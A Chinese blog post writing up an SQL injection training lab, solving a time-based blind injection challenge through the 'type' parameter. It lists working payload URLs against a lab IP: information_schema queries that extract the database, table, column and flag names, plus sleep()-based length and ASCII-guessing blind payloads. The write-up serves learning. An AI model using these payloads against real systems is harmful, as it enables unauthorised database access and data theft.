WEB安全-SQL注入漏洞测试(时间盲注)

前言
这是SQL注入的第八篇,之前忙着学校的考试,现在结束了就可以再专心打靶场一段时间了
正文
首先明确实训目标和思路
进入题目,发现情况如下,得知是时间盲注,直接上手开始验证
图上已经有提示使用?type=进行验证,不能像之前一样进行?id=1,正常是先构造闭合,最后发现竟然不需要……
http://219.153.49.228:41617/flag.php?type=1 and sleep(100) %23
1.根据回显信息进行注入
判断数据库的库名长度,但是在操作时,发现有回显,感觉这道题应该不止时间盲注一种方法,寻找注入点
http://219.153.49.228:41617/flag.php?type=1 %23
 
通过修改1发现下面的名称也随之改变,说明1是注入点,通过该注入点获取数据库各类信息
获取数据库名为 pentesterlab
http://219.153.49.228:41617/flag.php?type=database() %23
获取数据库表名为  comment,flag,goods,user
http://219.153.49.228:41617/flag.php?type=group_concat(table_name) from information_schema.tables where table_schema=database() %23
获取flag
http://219.153.49.228:41617/flag.php?type=group_concat(column_name) from information_schema.columns where table_name='flag' %23
获取flag为 mozhe1
http://219.153.49.228:41617/flag.php?type=group_concat(flag) from pentesterlab.flag %23
拿到key
2.时间盲注
判断数据库库名的长度,在爆破中发现12是缺失的,说明是正确的,判断出数据库库名长度为12
http://219.153.49.228:41676/flag.php?type=1 and if(length(database())=10,sleep(10),0) %23
之后爆破数据库第一个字符为 ascii=112的字符,即为p,之后的操作直接sqlmap,不做赘述
http://219.153.49.228:41676/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(100),0) %23
PS:做完看了评论,发现单引号又可以,直接type=flag'直接出,也是笑死我了
总结
做完这些靶场,发现sql注入之所以难,主要因为十分的多样,每种做题的方式都不同,而且很难找到一种适合自己的做题方式,还是需要多磨练,不能想的太死了
一个小问题
其实在使用第一种方法的时候,刚开始是用单引号作为结束的,但是到拉取表的时候,没有加#发现始终没有东西出来,之后看了网上给的资料,发现是直接加#,没有单引号这一说
后来再次看的时候,用这一串试了一下 ?type=' %23 ,发现回显很有意思,如果是双引号情况也是一样,但是加了括号后就不行,这里觉得是没有闭合的,就像数字型一样,但是为什么题目上可以用单引号和双引号呢?可能是题目设置的问题吧,应该是这道题本身的特性,不应该作为深入的探究点,包括直接flag'爆出flag实在是太具有技巧性了
如果是type=' %23'''''',则是这样
 
 
 
 
 
 
 
 
 
posted @   icui4cu  阅读(352)  评论(0编辑  收藏  举报
编辑推荐:
· .NET 依赖注入中的 Captive Dependency
· .NET Core 对象分配(Alloc)底层原理浅谈
· 聊一聊 C#异步 任务延续的三种底层玩法
· 敏捷开发:如何高效开每日站会
· 为什么 .NET8线程池 容易引发线程饥饿
阅读排行:
· 终于决定:把自己家的能源管理系统开源了!
· C#实现 Winform 程序在系统托盘显示图标 & 开机自启动
· 了解 ASP.NET Core 中的中间件
· 实现windows下简单的自动化窗口管理
· 【C语言学习】——命令行编译运行 C 语言程序的完整流程
点击右上角即可分享
微信分享提示